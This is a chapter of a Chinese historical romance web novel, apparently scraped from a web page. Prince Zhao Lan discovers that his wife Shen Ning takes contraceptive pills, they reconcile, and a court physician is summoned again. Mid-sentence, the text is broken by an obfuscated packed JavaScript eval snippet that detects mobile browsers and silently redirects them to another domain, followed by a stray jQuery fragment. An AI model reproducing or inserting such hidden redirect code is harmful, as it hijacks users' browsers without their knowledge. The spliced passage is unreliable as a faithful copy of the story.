沈宁也已经沐浴换衣毕,正坐在廊下的美人靠上晾头发,廊中摆着张四方膳桌和椅子,上面放了几碟点心。
见赵澜也已经换了身衣裳,头发还湿着就束了起来,知道他也已经沐浴过。
她将目光放在赵澜的湿发上:“王爷把头发散了吧,湿着就束起来容易头疼。”
赵澜定定看了她片刻,道:“无碍。”
沈宁这就不赞同了,多少病都是因为不注意的小事导致的?
她起身拉过赵澜,按着他坐在膳桌旁的椅子上。
赵澜顿了顿,还是随她摆弄了。
沈宁拆了他的冠簪,将他还微微潮湿的发散在脑后,又用手指在他头上轻按了几下,才坐到他的对面,显然是要一边晾发一边用膳了。
夏风轻拂,二人发间都散着清冽的兰花香。
冬竹和春月将桌上的点心撤下,随后就摆上了膳食。
沈宁虽已经不再心慌,但想到赵澜可能真的对自己有意,此刻做不到如平时一般自然,索性闭口不言。
赵澜往日话本来就少,知道沈宁服了避子丸后话就更少了。
二人一顿饭吃的沉默非常,谁也没觉得有什么不对。
饭毕。
沈宁去小憩,赵澜则又去了前院书房。
他说不出什么心情。
昨日见她干呕,虽说是被血腥气熏到了,却也让他一下就想到她是不是有孕。
下船立刻就请了太医来,却知道了她竟然服用避子丸。
他小时候在宫里听过,避子的任何药都伤身,她宁愿伤身也不愿生他的孩子吗?
他不禁怀疑,自己是不是错了,真的不该选她做王妃?
这样她也不必在做自己的王妃后,受到别人的讥讽嘲笑,也……不必厌恶他到……服用避子丸。
可她之前和自己的剖白,以及这些日子在自己面前真心实意的笑,都是假的吗?
为什么?
他长长吐了一口气,仰面靠在椅子上,按了按眉心。
这时云清进来禀报,王嬷嬷过来了。
赵澜让人进来。
王嬷嬷笑着行了礼:“王爷,这是这两个月府里的账册,王妃那边已经看过,让奴婢拿来给您过目。”
自从沈宁全权掌家,每月账册都会拿来给他过目,尽管他说了不用,她看过就好,可沈宁依然还会送来。
他似是想起了什么,将账册接过来翻看,翻了一遍后又翻了一遍,他抬头问道:“上个月王妃在鱼行定了松江鲈鱼,这上面怎么没有这项花销?”
王嬷嬷:“王妃没支用府里的银子买鱼,用的是自己的银子,王妃说,她不能用王府的银子做自己的人情。”
赵澜又是一愣,做人情?自己的人情?
他问:“王妃……除了给宫里和燕王、晋王两个王府送了鲈鱼,还送去了哪里?”
王嬷嬷:“还给王妃的娘家,还有与王妃娘家交好的宋家,以及同王妃交好的靖北侯府,不过侯府只给了谢小世子姐弟送了,是您和王妃离京后,冬竹和春月亲自送的。”
沈家、宋家以及谢小世子姐弟,都不是人情,那她做人情的就只有宫里和燕王、晋王两个王府了。
为什么?
赵澜心底发出第二个疑问。
她作何给宫里和燕王、晋王做人情?
赵澜蓦然一顿。
他记起了那日二人去给父皇请安,也是她先提出给父皇送鱼……还有他吃光她做的鱼羹时,她幽怨的眼神……
她是在讨好父皇吗?
赵澜一幕幕回想这几个月发生的事。
二人因中馈之事吵架,她进宫拜年受嘲讽,二人失和的事传遍京城,然后她教训袁姓女……当日,他没有让她回沈府给她大哥贺喜,因为她的确见不到人……
再之后……她穿素纱寝衣,她的剖白……这是在讨好自己?
将这一系列事情串起来后,他还有什么不明白的?
他真的从未护好她,所以,她才去讨好父皇,甚至连她厌恶的谢皇后和晋王妃,她都去讨好……
赵澜自临州回来后,再一次意识到自己都做了什么。
不对,是自己什么都没做。
很多时候,没做就是放任,放任外人胡乱猜测,放任外人变本加厉地嘲讽自己的王妃。
想到此处,他坐不住了,骤然站了起来,因为力气太大,椅子都朝后倒去。
王嬷嬷一惊,刚要开口,就见王爷风一样的刮出了书房。
她追了出去,赵澜早就没了影,她疑惑的和同样疑惑的云清面面相觑。
赵澜风一样的刮到了如锡堂门口,才堪堪止住了步子。
夏日天热,如锡堂的门窗都开着,门上挂了帘珑。
他深呼吸了几次才打帘进去,轻手轻脚地进了内室。
沈宁没睡在架子床上,而是侧卧在临窗的矮榻上,那扇窗关着。
她的头发没有梳起,散落在身后。
赵澜蹲下身,静静地看着她。
一根发丝飘在她的脸侧,赵澜抬起手将其轻轻别至耳后。
沈宁似有所感,迷迷糊糊地挣开了眼,和蹲在榻边的赵澜对上了目光。
他的目光含着歉意与愧疚,还有让她心慌了一路的情绪。
沈宁一激灵清醒过来,然后就听见赵澜道:“是我不好,对不起。”
沈宁:……
上次他突然道歉就在前不久吧?他又胡思乱想了什么?
沈宁起身,拢了拢头发,将赵澜拉倒榻上坐下。
“王爷为何又这般说?”
赵澜脱下鞋子,盘膝与她相对而坐。
他深深望着她的眼睛,沉默许久,开口道:“我知道你服用了避子丸。”
沈宁一惊,拢头发的手也僵在半空。
赵澜看着僵住的王妃,心下叹了口气,更加自责。
他将沈宁拉倒怀里,一下一下抚着她的头,道:“我如果能让你足够信任,你怎么会想到去讨好别人?在你受委屈的时候,我没有护住你,你怨我正常,但别厌恶我好不好?避子丸伤身,今后别吃了,你完全接纳我前,我……不会和你同房……”
沈宁听着赵澜一句接着一句,终于弄清了赵澜说的什么,惊起来的心也安稳落了回去。
虚惊一场。
她“腾”地从赵澜怀中起来,赵澜怀里一空,这次换成他的手僵在半空。
沈宁狠狠地瞪了他一眼:“赵澜!你下次说话时能不能别没头没尾的?我今日要是有孕,怕是也要被你惊得落……唔……唔……”
“不许胡说!”赵澜捂着她的嘴道。
沈宁将他的手扒拉下来:“是你先吓我的!你既然知道我不信任你,知道我担惊受怕,有任何事就该直接先来问我,而不是自己脑子里想了一堆,觉得自己想明白了,来找我突然冒出一句没头没尾的话!常常弄的我一头雾水!要是像今日这般多来几次,我被你吓死了也说不定!”
赵澜听到“死”字又把手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657210|168464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
举到了她的嘴边,只是慢了一步。
他转而摸了摸沈宁的脸,道:“不许说死。”
沈宁说了一通话后,又听他这么说,委屈劲不知怎么就上来了,眼睛瞬时一红,眼泪就流了下来。
赵澜胸口一疼,她受了太多的委屈,都怪自己。
他再次将她揽入怀中,一下一下轻拍她的背。
沈宁趴在他的肩上,此刻出奇的安心,竟生出了她今后不必再找靠山的想法,赵澜就是她最大的靠山。
想到自己竟然哭了出来,觉得不可思议,难道是因为仗着知道了赵澜对自己有意,恃宠而骄了?
她就着他的肩擦了擦眼睛,忽而觉得不好意思,赵澜又没说过对自己有意,这事真假还两说呢,她就这般有恃无恐了。
有恃无恐?
什么情况下一个人才会有恃无恐?不就是知道能拿捏他人的时候吗?
沈宁又一僵,对自己有些一言难尽。
缓了许久,沈宁凑到他耳边,轻声开口:“我服避子丸,不是厌恶你。”
赵澜轻拍着她后背的手一顿。
沈宁继续道:“我听闻女子二十左右骨架才算长开,那时候怀孕生子对身体损伤会小些,碰上难产的几率也会小些,我想过两年……再生……”
她后两个字说的很轻,轻到不细听都听不见。
可赵澜还是听到了。
这两个字明明钻到了他的耳中,却仿佛钻进了他的心里,将他那颗沉到谷底的心给带了上来,然后注入一股暖流,一下一下暖呼呼地跳了起来。
原来,她不厌恶自己,她也不是不想要他们的孩子。
他不自觉地将沈宁抱得更紧。
赵澜:“稍后再让张太医过来给你看看,吃了这么久避子丸,有没有伤身。”
沈宁心暖,也没拒绝:“正好让他看看那个药可不可以长期吃。”
虽然母亲说这个药不伤身,但让太医再检查一遍也多一层保险。
今日是张太医在太医院值守,下午楚王府来请时觉得大为稀罕。
京城都知道楚王不受圣上看重,楚王也不是张扬的性子,没想到府里竟然连个府医都没有。
他本着平常心跟随来人去了楚王府,本来一切顺利,没想到楚王妃偷偷服用避子丸!
吓得他出了一身惊汗!
不知现在楚王是去质问楚王妃了?还是二人开诚布公的将此事说开了?
张太医正琢磨着,就见下午楚王府的那位小公公又来了。
他神色一凛,楚王爷……该不会把楚王妃打伤了吧?
想到此处,他的额头又冒出汗来。
云墨走过来先“咦”了声,关心道:“张太医是病了?衙署里也不是很热,您怎么出了这么多汗?”
张太医心道,还不是被你们楚王府吓得。
他擦了擦额头的惊汗,没有回答,勉强挤出一丝笑容:“公公这次过来所为何事?”
云墨:“我家王爷请您去给王妃看诊。”
果真还是楚王妃!
王爷来请,他无法推辞,只能试探问:“请问公公,我这下午才给王妃看过,王妃身体十分康健,怎么又……”
他话说的隐晦,云墨听懂了,但王爷身边的人是不会多嘴的。
云墨:“小的也只是听王爷吩咐过来请您,别的也不清楚,还请张太医见谅。”
张太医见打探不出,只好拎起医药箱,冒着一茬一茬的惊汗,再次跟着云墨去了楚王府。